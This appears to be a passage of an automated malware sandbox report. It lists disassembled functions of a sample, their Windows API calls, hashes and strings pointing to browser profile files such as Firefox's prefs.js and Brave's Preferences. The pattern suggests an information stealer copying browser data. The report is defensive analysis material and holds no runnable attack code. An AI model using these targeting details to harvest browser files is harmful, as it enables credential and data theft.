lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A0420
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A0458
lstrcpy.KERNEL32(00000000,?), ref: 006A076B
lstrlenA.KERNEL32(012587B8), ref: 006A077B
lstrcpy.KERNEL32(00000000,?), ref: 006A07A7
lstrcatA.KERNEL32(00000000,?), ref: 006A07B3
lstrcpy.KERNEL32(00000000,00000000), ref: 006A07DE
lstrlenA.KERNEL32(01261380), ref: 006A07F5
lstrcpy.KERNEL32(00000000,?), ref: 006A081C
lstrcatA.KERNEL32(00000000,?), ref: 006A0828
lstrcpy.KERNEL32(00000000,00000000), ref: 006A0851
lstrlenA.KERNEL32(01258618), ref: 006A0868
lstrcpy.KERNEL32(00000000,?), ref: 006A0899
lstrcatA.KERNEL32(00000000,?), ref: 006A08A5
lstrcpy.KERNEL32(00000000,00000000), ref: 006A08D6
lstrcpy.KERNEL32(00000000,01253D08), ref: 006A091B

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

lstrcpy.KERNEL32(00000000,?), ref: 006A094F
lstrcpy.KERNEL32(00000000,01261320), ref: 006A09B7
lstrcpy.KERNEL32(00000000,0125D758), ref: 006A0A28
lstrcpy.KERNEL32(00000000,fplugins), ref: 006A0A9F
lstrcpy.KERNEL32(00000000,?), ref: 006A0AF8
lstrcpy.KERNEL32(00000000,0125D918), ref: 006A0BC8

Part of subcall function 006824E0: lstrcpy.KERNEL32(00000000,?), ref: 00682528
Part of subcall function 006824E0: lstrcpy.KERNEL32(00000000,?), ref: 0068254E
Part of subcall function 006824E0: lstrcpy.KERNEL32(00000000,?), ref: 00682577

lstrcpy.KERNEL32(00000000,0125D848), ref: 006A0C9E
lstrcpy.KERNEL32(00000000,?), ref: 006A0D51
lstrcpy.KERNEL32(00000000,0125D848), ref: 006A0F28

Strings

fplugins, xrefs: 006A0A99

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: fplugins
API String ID: 2500673778-38756186
Opcode ID: a02378b6f3c81f7372d96335577fe9bc04aca12491030ba83b33fa83dfac86b1
Instruction ID: 8525b1ba892a16ae358d661d068a94513ff35a81eb7b851108ae0a81ec63fcab
Opcode Fuzzy Hash: a02378b6f3c81f7372d96335577fe9bc04aca12491030ba83b33fa83dfac86b1
Instruction Fuzzy Hash: 99E22770A053418FD764EF29C488BAABBE6BF8A314F58856DD48D8B352DB319C45CF42

Function 00692DCC Relevance: 69.6, APIs: 46, Instructions: 572
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32 ref: 00692DD8
lstrcatA.KERNEL32(?,00000000), ref: 00692DE3
lstrlenA.KERNEL32(006B179C), ref: 00692DEE
lstrcpy.KERNEL32(00000000), ref: 00692E11
lstrcatA.KERNEL32(00000000,006B179C), ref: 00692E1D
lstrlenA.KERNEL32(01260070), ref: 00692E2C
lstrcpy.KERNEL32(00000000,?), ref: 00692E5C
lstrcatA.KERNEL32(00000000,?), ref: 00692E64
lstrlenA.KERNEL32(006B179C), ref: 00692E6F
lstrcpy.KERNEL32(00000000,00000000), ref: 00692E92
lstrcatA.KERNEL32(00000000,006B179C), ref: 00692E9E
lstrlenA.KERNEL32(01260A58), ref: 00692EAD
lstrcpy.KERNEL32(00000000,?), ref: 00692ED7
lstrcatA.KERNEL32(00000000,?), ref: 00692EDF
lstrcpy.KERNEL32(00000000,00000000), ref: 00692F02
lstrcatA.KERNEL32(00000000,00000000), ref: 00692F0D
lstrlenA.KERNEL32(01260B78), ref: 00692F1C
lstrcpy.KERNEL32(00000000,00000000), ref: 00692F45
lstrcatA.KERNEL32(00000000,00000000), ref: 00692F50
lstrcpy.KERNEL32(00000000,00000000), ref: 00692F79
lstrlenA.KERNEL32(006B179C), ref: 00692FDB
lstrcpy.KERNEL32(00000000,00000000), ref: 00693000
lstrcatA.KERNEL32(00000000,006B179C), ref: 0069300C
lstrlenA.KERNEL32(0125D938), ref: 0069301A
lstrcpy.KERNEL32(00000000,00000000), ref: 0069303B
lstrcatA.KERNEL32(00000000,0125D938), ref: 00693043
lstrcpy.KERNEL32(00000000,00000000), ref: 0069306A
lstrcpy.KERNEL32(00000000,?), ref: 0069309F
GetFileAttributesA.KERNEL32(00000000), ref: 006930A6
lstrcpy.KERNEL32(00000000,?), ref: 00693167
lstrcpy.KERNEL32(00000000,?), ref: 00693190
lstrcpy.KERNEL32(00000000,?), ref: 006931B9
lstrcpy.KERNEL32(00000000,?), ref: 006931E4

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID:
API String ID: 1033685851-0
Opcode ID: 12d910a8a6de0c89ff92e916052eebc8c01b02ae0455d9230b106d11d0b29ba0
Instruction ID: 68303a279519b8ae48c2135418b3ece8faf90a7e2642bf2d9e3c9eef9bae11d9
Opcode Fuzzy Hash: 12d910a8a6de0c89ff92e916052eebc8c01b02ae0455d9230b106d11d0b29ba0
Instruction Fuzzy Hash: 83126B71A10616ABCF65BFB9DC99AAE77FABF04300F044228F849A7751DB34DD018B94

Function 00694DD9 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,006B17A8), ref: 00694DEC
StrCmpCA.SHLWAPI(?,006B17AC), ref: 00694E06
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694E3F
lstrcpy.KERNEL32(00000000,?), ref: 00694E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00694E75
lstrlenA.KERNEL32(006B179C), ref: 00694E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00694E9D
lstrcatA.KERNEL32(00000000,006B179C), ref: 00694EA9
lstrlenA.KERNEL32(?), ref: 00694EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00694EDA
lstrcatA.KERNEL32(00000000,?), ref: 00694EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00694F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00694F38
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694F70
lstrlenA.KERNEL32(012602F8), ref: 00694F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00694FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00694FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00694FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00695016
lstrcatA.KERNEL32(00000000), ref: 00695020
lstrcpy.KERNEL32(00000000,00000000), ref: 00695049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00695065
lstrcpy.KERNEL32(00000000,00000000), ref: 0069508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006950A3
lstrcpy.KERNEL32(00000000), ref: 00695103
lstrcpy.KERNEL32(00000000,?), ref: 00695129
lstrcpy.KERNEL32(00000000,?), ref: 00695152
lstrcpy.KERNEL32(00000000,?), ref: 0069517B
lstrcpy.KERNEL32(00000000,00000000), ref: 006951A4
FindNextFileA.KERNELBASE(?,?), ref: 006953B3
FindClose.KERNEL32(?), ref: 006953C2

Strings

prefs.js, xrefs: 00694F2C

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: f6588119321c256758c9ebec01785cd195a6077c1be2537f81a269b1687a19e4
Instruction ID: a2f68222931c1c72bffa30866d00ae11bc24930e49ed98d2114a24642b3a2357
Opcode Fuzzy Hash: f6588119321c256758c9ebec01785cd195a6077c1be2537f81a269b1687a19e4
Instruction Fuzzy Hash: BB822C70A016028FDF25DF29C958BA9B7FABF44314F1981ADE84A9B761DB35DC42CB40

Function 00694DD7 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,006B17A8), ref: 00694DEC
StrCmpCA.SHLWAPI(?,006B17AC), ref: 00694E06
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694E3F
lstrcpy.KERNEL32(00000000,?), ref: 00694E6A
lstrcatA.KERNEL32(00000000,00000000), ref: 00694E75
lstrlenA.KERNEL32(006B179C), ref: 00694E80
lstrcpy.KERNEL32(00000000,00000000), ref: 00694E9D
lstrcatA.KERNEL32(00000000,006B179C), ref: 00694EA9
lstrlenA.KERNEL32(?), ref: 00694EB6
lstrcpy.KERNEL32(00000000,00000000), ref: 00694EDA
lstrcatA.KERNEL32(00000000,?), ref: 00694EE8
lstrcpy.KERNEL32(00000000,00000000), ref: 00694F10
StrCmpCA.SHLWAPI(?,prefs.js), ref: 00694F38
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694F70
lstrlenA.KERNEL32(012602F8), ref: 00694F7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00694FA7
lstrcatA.KERNEL32(00000000,00000000), ref: 00694FB2
lstrcpy.KERNEL32(00000000,00000000), ref: 00694FDA
lstrcpy.KERNEL32(00000000,00000000), ref: 00695016
lstrcatA.KERNEL32(00000000), ref: 00695020
lstrcpy.KERNEL32(00000000,00000000), ref: 00695049
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00695065
lstrcpy.KERNEL32(00000000,00000000), ref: 0069508E
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006950A3
lstrcpy.KERNEL32(00000000), ref: 00695103
lstrcpy.KERNEL32(00000000,?), ref: 00695129
lstrcpy.KERNEL32(00000000,?), ref: 00695152
lstrcpy.KERNEL32(00000000,?), ref: 0069517B
lstrcpy.KERNEL32(00000000,00000000), ref: 006951A4
FindNextFileA.KERNELBASE(?,?), ref: 006953B3
FindClose.KERNEL32(?), ref: 006953C2

Strings

prefs.js, xrefs: 00694F2C

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filelstrlen$CopyFind$CloseNext
String ID: prefs.js
API String ID: 3746966799-3783873740
Opcode ID: 6554cb1df67b0da5cce803b5b86f971001f356592192d71a680e91bda59a8fbb
Instruction ID: 87a1e2ece4fa227ed5f71e27470e66d29f788ed838d427abf713e83a13554922
Opcode Fuzzy Hash: 6554cb1df67b0da5cce803b5b86f971001f356592192d71a680e91bda59a8fbb
Instruction Fuzzy Hash: 13822C70A016028FDF25DF29C958BA9B7FABF44314F1981ADE84A9B761DB35DC42CB40

Function 0068B870 Relevance: 63.5, APIs: 42, Instructions: 542
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068B8A3
lstrlenA.KERNEL32(0125D6E8), ref: 0068B8C2
lstrcpy.KERNEL32(00000000,?), ref: 0068B8EF
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B8F7
lstrlenA.KERNEL32(006B179C), ref: 0068B902
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B922
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068B92E
lstrcpy.KERNEL32(00000000,?), ref: 0068B959
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B964
lstrlenA.KERNEL32(0125D5B8), ref: 0068B972
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B99E
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068B9A6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B9D7
lstrlenA.KERNEL32(0125D6E8), ref: 0068B9FC
lstrcpy.KERNEL32(00000000,?), ref: 0068BA29
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BA31
lstrlenA.KERNEL32(006B179C), ref: 0068BA3C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BA5C
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068BA68
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BA91
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BA9C
lstrlenA.KERNEL32(006B4BA8), ref: 0068BAA7
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BAC9
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068BAD5
lstrcpy.KERNEL32(00000000,?), ref: 0068BAFD
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BB08
lstrlenA.KERNEL32(0125D5B8), ref: 0068BB1A
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BB43
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BB51
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BB7F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068BC1F
lstrlenA.KERNEL32(00000000), ref: 0068BC52
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BC7C
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BC84
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BCAC

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 475b5d516c53e68227abcb00494d72a56a6eb5ac04f74056a2fd72fc8bea3849
Instruction ID: 70081c959a7ded99427639b8cb493fa56d97ae3296447e830c6dcf699f51a079
Opcode Fuzzy Hash: 475b5d516c53e68227abcb00494d72a56a6eb5ac04f74056a2fd72fc8bea3849
Instruction Fuzzy Hash: 87126C719002069FCB25FF69DC89AAEB7BAFF44304F185229E909A7361DB35DC01CB90

Function 00690C80 Relevance: 60.6, APIs: 40, Instructions: 603stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00690CB2
lstrlenA.KERNEL32(012602F8), ref: 00690CC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00690CE4
lstrcatA.KERNEL32(00000000,00000000), ref: 00690CEF
lstrcpy.KERNEL32(00000000,00000000), ref: 00690D15
lstrcpy.KERNEL32(00000000,?), ref: 00690D53
lstrcatA.KERNEL32(00000000), ref: 00690D5D
lstrcpy.KERNEL32(00000000,00000000), ref: 00690D86
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00690DA2
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00690DD2
lstrlenA.KERNEL32(0125D6E8), ref: 00690DE1
lstrcpy.KERNEL32(00000000,?), ref: 00690E0B
lstrcatA.KERNEL32(00000000,?), ref: 00690E13
lstrlenA.KERNEL32(006B179C), ref: 00690E1E
lstrcpy.KERNEL32(00000000,00000000), ref: 00690E3E
lstrcatA.KERNEL32(00000000,006B179C), ref: 00690E4A
lstrcpy.KERNEL32(00000000,00000000), ref: 00690E70
lstrcatA.KERNEL32(00000000,00000000), ref: 00690E7B
lstrlenA.KERNEL32(006B4BA8), ref: 00690E86
lstrcpy.KERNEL32(00000000,?), ref: 00690EA9
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 00690EB5
lstrcpy.KERNEL32(00000000,00000000), ref: 00690ED8
lstrcatA.KERNEL32(00000000,00000000), ref: 00690EE3
lstrlenA.KERNEL32(0125D5B8), ref: 00690EF2
lstrcpy.KERNEL32(00000000,00000000), ref: 00690F1C
lstrcatA.KERNEL32(00000000,00000000), ref: 00690F27
lstrcpy.KERNEL32(00000000,00000000), ref: 00690F51
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00690FF0
lstrcpy.KERNEL32(00000000,00000000), ref: 00691042

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$CopyFile
String ID:
API String ID: 4143980809-0
Opcode ID: 6acf483b29a4af569b6412cfefd6a912c0a3cf7d60969e1f593a40a3415047ef
Instruction ID: 24fb0dc1bdf6cfe9e94fc83db974a7564c8f20036a796391f0742cd94229075a
Opcode Fuzzy Hash: 6acf483b29a4af569b6412cfefd6a912c0a3cf7d60969e1f593a40a3415047ef
Instruction Fuzzy Hash: 81328270A012079FDF25EFA9D888AAE77FABF45304F144229E9099B751DB35DC42CB90

Function 00695E90 Relevance: 57.6, APIs: 38, Instructions: 593
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00695EC5
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00695EF2
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00695F21
lstrcpy.KERNEL32(00000000,00000000), ref: 00695F52
lstrcpy.KERNEL32(00000000,00000000), ref: 00695F7A
lstrcatA.KERNEL32(00000000,00000000), ref: 00695F85
lstrcpy.KERNEL32(00000000,00000000), ref: 00695FB0
lstrcpy.KERNEL32(00000000,00000000), ref: 00695FE9
lstrcatA.KERNEL32(00000000,00000000), ref: 00695FF4
lstrcpy.KERNEL32(00000000,00000000), ref: 0069601F
lstrcatA.KERNEL32(00000000,00000000), ref: 0069602A
lstrcpy.KERNEL32(00000000,00000000), ref: 00696052
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 0069608A
lstrcpy.KERNEL32(00000000,00000000), ref: 006960C1
lstrcpy.KERNEL32(00000000,00000000), ref: 006960EC
lstrcatA.KERNEL32(00000000,00000000), ref: 006960F7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FolderPath
String ID:
API String ID: 2440492483-0
Opcode ID: cf64648f6b4366ec177ba59104e8c3f8f2e56120fe5483185f0fe01758956085
Instruction ID: 847190a486a963f31ba2312729972f7b0358b2f003131a7c85b226a2dcb8a1a1
Opcode Fuzzy Hash: cf64648f6b4366ec177ba59104e8c3f8f2e56120fe5483185f0fe01758956085
Instruction Fuzzy Hash: C7229F719116169FCF21AFA9D898AAE7BFAFF04300F044628F94AA7751CB34DC45CB94

Function 0068DD09 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,006B17A8), ref: 0068DD1C
StrCmpCA.SHLWAPI(?,006B17AC), ref: 0068DD36
lstrlenA.KERNEL32(006ACFF4), ref: 0068DD49
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068DD74
lstrcpy.KERNEL32(00000000,?), ref: 0068DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0068DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0068DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0068E7BA
FindClose.KERNEL32(00000000), ref: 0068E7C9

Strings

Preferences, xrefs: 0068DF81
\Brave\Preferences, xrefs: 0068E0AA
Brave, xrefs: 0068DF6A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: 112915148200675a755103822e87ab593fa99d01ad876e093d8991c51344256b
Instruction ID: dd816bd589add4cf19c839faa1a74d5e2283072c3c5b36e37e29bb18347fd91d
Opcode Fuzzy Hash: 112915148200675a755103822e87ab593fa99d01ad876e093d8991c51344256b
Instruction Fuzzy Hash: DC626070A012158FCF64EF69C844A99B7F6BF44314F1982ADE849AB361DB76EC41CF50

Function 0068DD07 Relevance: 53.3, APIs: 27, Strings: 3, Instructions: 796stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,006B17A8), ref: 0068DD1C
StrCmpCA.SHLWAPI(?,006B17AC), ref: 0068DD36
lstrlenA.KERNEL32(006ACFF4), ref: 0068DD49
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068DD74
lstrcpy.KERNEL32(00000000,?), ref: 0068DDDE
lstrcpy.KERNEL32(00000000,?), ref: 0068DE8A
StrCmpCA.SHLWAPI(?,Brave), ref: 0068DF73
FindNextFileA.KERNELBASE(00000000,?), ref: 0068E7BA
FindClose.KERNEL32(00000000), ref: 0068E7C9

Strings

Preferences, xrefs: 0068DF81
\Brave\Preferences, xrefs: 0068E0AA
Brave, xrefs: 0068DF6A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
